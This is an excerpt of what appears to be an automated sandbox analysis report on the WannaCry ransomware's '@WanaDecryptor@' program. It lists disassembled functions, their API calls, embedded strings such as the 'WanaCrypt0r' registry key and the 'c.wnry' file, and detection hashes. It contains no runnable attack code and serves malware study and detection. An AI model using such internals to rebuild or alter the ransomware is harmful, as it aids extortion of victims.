                                        • SetCurrentDirectoryA.KERNEL32(?), ref: 00401D98
                                        • RegCloseKey.KERNELBASE(00000000), ref: 00401DA3
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: CurrentDirectoryValue$CloseCreateQuerywcscat
                                        • String ID: Software\$WanaCrypt0r
                                        • API String ID: 3883271862-1723423467
                                        • Opcode ID: 105d7a24118395946ed673951bb32e2166cb0bb2b49e0db688a6da733a97e5a2
                                        • Instruction ID: c02b3dbe7123360802e3a7ceba079e11f57c538643229ddb10ed726050e42e59
                                        • Opcode Fuzzy Hash: 105d7a24118395946ed673951bb32e2166cb0bb2b49e0db688a6da733a97e5a2
                                        • Instruction Fuzzy Hash: 5F31C271208341ABD320CF54DC44BEBB7A8FFC4750F404D2EF996A7290D7B4A90987A6
                                        Function 004085C0 Relevance: 13.6, APIs: 9, Instructions: 75COMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 439 4085c0-408652 #567 #341 GetSysColor * 4 KiUserCallbackDispatcher 440 408660-4086a6 #6140 439->440 441 408654-408658 439->441 441->440 442 40865a-40865e GetSysColor 441->442 442->440
                                        APIs
                                        • #567.MFC42(00000000,?,?,?,000000FF,00405AAB,00000000), ref: 004085E2
                                        • #341.MFC42(00000000,?,?,?,000000FF,00405AAB,00000000), ref: 004085F6
                                        • GetSysColor.USER32 ref: 0040861D
                                        • GetSysColor.USER32(00000009), ref: 00408624
                                        • GetSysColor.USER32(00000012), ref: 0040862B
                                        • GetSysColor.USER32(00000002), ref: 00408632
                                        • KiUserCallbackDispatcher.NTDLL(00001008,00000000,00000000,00000000), ref: 0040864A
                                        • GetSysColor.USER32(0000001B), ref: 0040865C
                                        • #6140.MFC42(00000002,000000FF), ref: 00408667
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: Color$#341#567#6140CallbackDispatcherUser
                                        • String ID:
                                        • API String ID: 2603677082-0
                                        • Opcode ID: 51668d6117463ada0c326ac575935f99ab198cb4b06a73068adc63a74b909c1d
                                        • Instruction ID: 8505b43e8b24dba0e9a20122b4cf5018a120a2575fdff98832e5101b57525ea5
                                        • Opcode Fuzzy Hash: 51668d6117463ada0c326ac575935f99ab198cb4b06a73068adc63a74b909c1d
                                        • Instruction Fuzzy Hash: 7D2159B0900B449FD320DF2AC985B96FBE4FF84B14F504A2FE19687791D7B9A844CB85
                                        Function 0040B620 Relevance: 13.5, APIs: 9, Instructions: 45windowCOMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        APIs
                                        • FindWindowW.USER32(00000000,00000000), ref: 0040B628
                                        • ShowWindow.USER32(00000000,00000005,00000000,?,00000000), ref: 0040B638
                                        • SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000043,?,00000000), ref: 0040B651
                                        • SetWindowPos.USER32(00000000,000000FE,00000000,00000000,00000000,00000000,00000043,?,00000000), ref: 0040B660
                                        • SetForegroundWindow.USER32(00000000), ref: 0040B663
                                        • SetFocus.USER32(00000000,?,00000000), ref: 0040B66A
                                        • SetActiveWindow.USER32(00000000,?,00000000), ref: 0040B671
                                        • BringWindowToTop.USER32(00000000), ref: 0040B678
                                        • ExitProcess.KERNEL32 ref: 0040B689
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: Window$ActiveBringExitFindFocusForegroundProcessShow
                                        • String ID:
                                        • API String ID: 962039509-0
                                        • Opcode ID: ec9fc34e90d3c79d5292e19d7f02050e94f93b43ef6df305d89d1d3c5b01f4c1
                                        • Instruction ID: 32f88169c1f0d7c0e12a36757c7a64a26434f73f58f3758d5628eaed19e7f987
                                        • Opcode Fuzzy Hash: ec9fc34e90d3c79d5292e19d7f02050e94f93b43ef6df305d89d1d3c5b01f4c1
                                        • Instruction Fuzzy Hash: 66F0F431245A21F7E2315B54AC0DFDF3655DFC5B21F214610F715791D4CB6455018AAD
                                        Function 00401A10 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42fileCOMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 447 401a10-401a18 448 401a21 447->448 449 401a1a-401a1f 447->449 450 401a26-401a38 fopen 448->450 449->450 451 401a3a-401a44 450->451 452 401a6f-401a73 450->452 453 401a53-401a58 fwrite 451->453 454 401a46-401a51 fread 451->454 455 401a5e-401a64 453->455 454->455 456 401a74-401a84 fclose 455->456 457 401a66-401a6c fclose 455->457 457->452
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: fclose$fopenfreadfwrite
                                        • String ID: c.wnry
                                        • API String ID: 2140422903-3240288721
                                        • Opcode ID: 6e9b76c3277035fe504f344658f288149f4646c70a2b683330cc54d29e3cf444
                                        • Instruction ID: f5186b7865cb40674a519f70d39de74d6a09c830656aa5640d665e45194f203f
                                        • Opcode Fuzzy Hash: 6e9b76c3277035fe504f344658f288149f4646c70a2b683330cc54d29e3cf444
                                        • Instruction Fuzzy Hash: 0DF0FC31746310EBD3209B19BD09BD77A56DFC0721F450436FC0ED63A4E2799946899E
                                        Function 0040B6A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83fileCOMMON
                                        Download Yara Rule
                                        APIs
                                        • CreateDirectoryA.KERNELBASE(?,00000000,?,770D3310,00000000,00000428), ref: 0040B6B4
                                        • DeleteFileA.KERNEL32(?), ref: 0040B6D9
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: CreateDeleteDirectoryFile
                                        • String ID: %s\%s
                                        • API String ID: 3195586388-4073750446
                                        • Opcode ID: 9867dcfa113bb228f6e7ce7fcc7c959ecb5fe08f48f21d4d20f526cefea80cd3
                                        • Instruction ID: 62764616b0dad41b6f02366a4e891bd604a257d4ac44bdf0c04ae484a2ff6343
                                        • Opcode Fuzzy Hash: 9867dcfa113bb228f6e7ce7fcc7c959ecb5fe08f48f21d4d20f526cefea80cd3
                                        • Instruction Fuzzy Hash: 2F2108B620435067D620AB65EC81AEB779CEBC4324F44082EFD1892242E77D661D82FA
                                        Function 004108A0 Relevance: 6.1, APIs: 4, Instructions: 107fileCOMMON
                                        Download Yara Rule
                                        APIs
                                        • CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,FFFFFFFF,?,00000000,?,00411CAF,?,?,FFFFFFFF,?), ref: 004108FB
                                        • SetFilePointer.KERNELBASE(?,00000000,00000000,00000001,FFFFFFFF,?,00000000,?,00411CAF,?,?,FFFFFFFF,?), ref: 0041092C
                                        • #823.MFC42(00000020,?,00411CAF,?,?,FFFFFFFF,?), ref: 0041093A
                                        • SetFilePointer.KERNELBASE(?,00000000,00000000,00000001,?,?), ref: 004109A2
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: File$Pointer$#823Create
                                        • String ID:
                                        • API String ID: 3407337251-0
                                        • Opcode ID: f8d4f32fbf11c17666650e2be2886089464b659975ada392b41f77d2d1c6e54b
                                        • Instruction ID: 085c1855c78cd49c3d24b3d31d21a090ac304bae7dbf1d621fd5eca193cafac9
                                        • Opcode Fuzzy Hash: f8d4f32fbf11c17666650e2be2886089464b659975ada392b41f77d2d1c6e54b
                                        • Instruction Fuzzy Hash: BD31A3712943418FE331CF29E84179BBBE1AB85720F14891EE1D597781D3B6A4C8CBA6
                                        Function 00412250 Relevance: 6.1, APIs: 4, Instructions: 100COMMON
                                        Download Yara Rule
                                        APIs
                                        • GetFileAttributesA.KERNELBASE(?,?,?), ref: 00412264
                                        • CreateDirectoryA.KERNEL32(?,00000000), ref: 00412272
                                        • GetFileAttributesA.KERNELBASE(00000000), ref: 00412338
                                        • CreateDirectoryA.KERNELBASE(?,00000000,?,?), ref: 0041234C
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: AttributesCreateDirectoryFile
                                        • String ID:
                                        • API String ID: 3401506121-0
                                        • Opcode ID: 5edde3796adf685aed60d110adb647f247c117a4bec97746d5288a2958dab9aa
                                        • Instruction ID: eaae320e7248a4b774ebe1124a4f316430e5356865ecc18a96ed259e18cc5035
                                        • Opcode Fuzzy Hash: 5edde3796adf685aed60d110adb647f247c117a4bec97746d5288a2958dab9aa
                                        • Instruction Fuzzy Hash: 6F310331204B0847C72889389D957FFBBC6ABD4320F544B3EF966C72C1DEB989588299
                                        Function 004043E0 Relevance: 4.5, APIs: 3, Instructions: 15COMMON
                                        Download Yara Rule
                                        APIs
                                        • #4284.MFC42(00000000,00000100,00000001), ref: 004043EC
                                        • #3874.MFC42(?,00000000,00000100,00000001), ref: 004043F7
                                        • #5277.MFC42 ref: 00404402
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #3874#4284#5277
                                        • String ID:
                                        • API String ID: 1717392697-0
                                        • Opcode ID: 4114d52f3e371674d2295fde4232c802f8929f5cfba066acaa82d75807d1c039
                                        • Instruction ID: 168dd717f23fd29799672b21daad70d98dc1c3a6295a550393a3fd33bd33aa1c
                                        • Opcode Fuzzy Hash: 4114d52f3e371674d2295fde4232c802f8929f5cfba066acaa82d75807d1c039
                                        • Instruction Fuzzy Hash: B1D012303487645AE974B266BA0BBDB5A999B45B18F04044FF2459F2C1D9D858D083E5
                                        Function 00411660 Relevance: 3.9, APIs: 3, Instructions: 156COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: d771c3cdc0376eb06813951ce938a924a88f856aba0395dbcbb3fe4ec20f6b6d
                                        • Instruction ID: 97d1101cb4dc6e06905e0d83e2a099da94edd87715b03694c0ad860931ce0dc9
                                        • Opcode Fuzzy Hash: d771c3cdc0376eb06813951ce938a924a88f856aba0395dbcbb3fe4ec20f6b6d
                                        • Instruction Fuzzy Hash: 7F51D2B5600B018FC720DF2AE880597B7E0BF84314B544A2EEA9A83751D339F499CB95
                                        Function 00410AF0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56fileCOMMON
                                        Download Yara Rule
                                        APIs
                                        • ReadFile.KERNELBASE(000000FF,00000404,ZA,00000404,00000000,00000000,0000FFFF,00410D5A,00000000,00000404,00000001,?), ref: 00410B18
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: FileRead
                                        • String ID: ZA
                                        • API String ID: 2738559852-706706751
                                        • Opcode ID: 955d7e46bcdd16e9ef88f509da3f750024060405559589d6ed767fd5e6d7c93f
                                        • Instruction ID: 40231aa483a0e9c283400923c975ae8b8a6f0891fd27fdec0c6452f8272ca3df
                                        • Opcode Fuzzy Hash: 955d7e46bcdd16e9ef88f509da3f750024060405559589d6ed767fd5e6d7c93f
                                        • Instruction Fuzzy Hash: F401CE723042008BCB18CE18D890AABB7EAABC8610B0481ADEC498B305DA75EC15C761
                                        Function 004133E6 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 6COMMON
                                        Download Yara Rule
                                        APIs
                                        • #1576.MFC42(?,?,?,62A,00413236,00000000,?,0000000A), ref: 004133F6
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #1576
                                        • String ID: 62A
                                        • API String ID: 1976119259-856450375
                                        • Opcode ID: 371cf650558777b7497c1cc85ae61873b6a5021e63d3067b0ccf166c38b5e6e7
                                        • Instruction ID: 1789da96975510f8b15a36ac976bc3503c656fbbd280c19756f03076dd05f2b6
                                        • Opcode Fuzzy Hash: 371cf650558777b7497c1cc85ae61873b6a5021e63d3067b0ccf166c38b5e6e7
                                        • Instruction Fuzzy Hash: AFB008360193D6ABCB12DE91890196ABAA2BB98305F484C1DB2A50146187668568AB16
                                        Function 00410A50 Relevance: 3.1, APIs: 2, Instructions: 65COMMON
                                        Download Yara Rule
                                        APIs
                                        • SetFilePointer.KERNELBASE(?,?,00000000,00000000,00410CA4,?,00000000,00000002,00000000,?,00000000,FFFFFFFF,?), ref: 00410A79
                                        • SetFilePointer.KERNELBASE(?,00000000,00000000,00000000,00410CA4,?,00000000,00000002,00000000,?,00000000,FFFFFFFF,?), ref: 00410A9B
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: FilePointer
                                        • String ID:
                                        • API String ID: 973152223-0
                                        • Opcode ID: 4f7f19fd77e9e4b6ff3b3df98d071297d87b5023754c0952396fd1cd05ebf564
                                        • Instruction ID: 8c7778caab8dc427a0eff36806a54932c8fce05917786e5a19e085de530b5182
                                        • Opcode Fuzzy Hash: 4f7f19fd77e9e4b6ff3b3df98d071297d87b5023754c0952396fd1cd05ebf564
                                        • Instruction Fuzzy Hash: 3F111C742143019FCB1CCF20C8A4ABB77A2AFE8351F15C55DF08A8B361E674D8859B48
                                        Function 00410A10 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                        Download Yara Rule
                                        APIs
                                        • SetFilePointer.KERNELBASE(830000FF,00000000,00000000,00000001,?,00410CBB,?,00000000,?,00000000,FFFFFFFF,?), ref: 00410A2C
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: FilePointer
                                        • String ID:
                                        • API String ID: 973152223-0
                                        • Opcode ID: e974794341ff6e5ab14436fbc7c1d97085009ff257f2fc2de44bcc3722d2f397
                                        • Instruction ID: 32027725d39edc4efdd6a80838e9bbfe12b8ec9337663397b441d42c78647a48
                                        • Opcode Fuzzy Hash: e974794341ff6e5ab14436fbc7c1d97085009ff257f2fc2de44bcc3722d2f397
                                        • Instruction Fuzzy Hash: CCE04F392447209BCA70CF68A814BD3BBE19F45750F18888AB8DA9BB81C2A5FCC5C744
                                        Function 004102B0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: calloc
                                        • String ID:
                                        • API String ID: 2635317215-0
                                        • Opcode ID: b99520603795e14427fcdc66bd24236fedacc387ffcb15b9e196dfa964343d57
                                        • Instruction ID: 04342e400c51e4aa9d9f1a4926e37004e53e6e9aa7dbc080471d4116a51af395
                                        • Opcode Fuzzy Hash: b99520603795e14427fcdc66bd24236fedacc387ffcb15b9e196dfa964343d57
                                        • Instruction Fuzzy Hash: 3FB012B95042007FC904FB51DC41C6BB398FBD4201F80884DBC4D42200D539D944C632
                                        Function 004102D0 Relevance: 1.3, APIs: 1, Instructions: 5COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: free
                                        • String ID:
                                        • API String ID: 1294909896-0
                                        • Opcode ID: 9547fd8474c1228e0edb2c3a8820201b614da8fcf41e046977b995a71f98eb8e
                                        • Instruction ID: 587bd5a705c9874b05802bcdcd007e1f5146f32a08b66df6e73241f9cdea139c
                                        • Opcode Fuzzy Hash: 9547fd8474c1228e0edb2c3a8820201b614da8fcf41e046977b995a71f98eb8e
                                        • Instruction Fuzzy Hash: 22A022B2000200328C00BAA0C00288A2B8C2A80202B20088EB00282020CA38C0C00200

                                        Non-executed Functions

                                        Function 00406F80 Relevance: 130.0, APIs: 67, Strings: 7, Instructions: 536windowtimeCOMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 004076A0: time.MSVCRT ref: 004076DA
                                        • CreateSolidBrush.GDI32(000000E0), ref: 00406FB3
                                        • #1641.MFC42(00000000,?,776120C0,?), ref: 00406FBC
                                        • CreateSolidBrush.GDI32(00121284), ref: 00406FC6
                                        • #1641.MFC42(00000000,?,776120C0,?), ref: 00406FCF
                                        • CreateSolidBrush.GDI32(0000E000), ref: 00406FD9
                                        • #1641.MFC42(00000000,?,776120C0,?), ref: 00406FE2
                                        • CreateSolidBrush.GDI32(00E00000), ref: 00406FEC
                                        • #1641.MFC42(00000000,?,776120C0,?), ref: 00406FF5
                                        • CreateSolidBrush.GDI32(00000000), ref: 00406FFC
                                        • #1641.MFC42(00000000,?,776120C0,?), ref: 00407005
                                        • CreateSolidBrush.GDI32(003834D1), ref: 0040700F
                                        • #1641.MFC42(00000000,?,776120C0,?), ref: 00407018
                                        • CreateSolidBrush.GDI32(00107C10), ref: 00407022
                                        • #1641.MFC42(00000000,?,776120C0,?), ref: 0040702B
                                        • CreateSolidBrush.GDI32(00E8A200), ref: 00407035
                                        • #1641.MFC42(00000000,?,776120C0,?), ref: 0040703E
                                        • CreateSolidBrush.GDI32(00D77800), ref: 00407048
                                        • #1641.MFC42(00000000,?,776120C0,?), ref: 00407051
                                        • CreateSolidBrush.GDI32(00003CDA), ref: 0040705B
                                        • #1641.MFC42(00000000,?,776120C0,?), ref: 00407064
                                        • CreateFontA.GDI32(00000018,00000000,00000000,00000000,000002BC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000020,Arial), ref: 00407097
                                        • #1641.MFC42(00000000,?,776120C0,?), ref: 0040709C
                                        • CreateFontA.GDI32(00000012,00000000,00000000,00000000,000002BC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000020,Arial), ref: 004070C9
                                        • #1641.MFC42(00000000,?,776120C0,?), ref: 004070CE
                                        • CreateFontA.GDI32(00000010,00000000,00000000,00000000,000002BC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000020,Arial), ref: 004070FB
                                        • #1641.MFC42(00000000,?,776120C0,?), ref: 00407104
                                        • #3092.MFC42(000003ED,00000000,?,776120C0,?), ref: 00407110
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 0040712B
                                        • #3092.MFC42(000003FE,?,776120C0,?), ref: 00407134
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 0040714D
                                        • #3092.MFC42(000003FB,?,776120C0,?), ref: 00407156
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 0040716F
                                        • #3092.MFC42(000003FF,?,776120C0,?), ref: 00407178
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 00407191
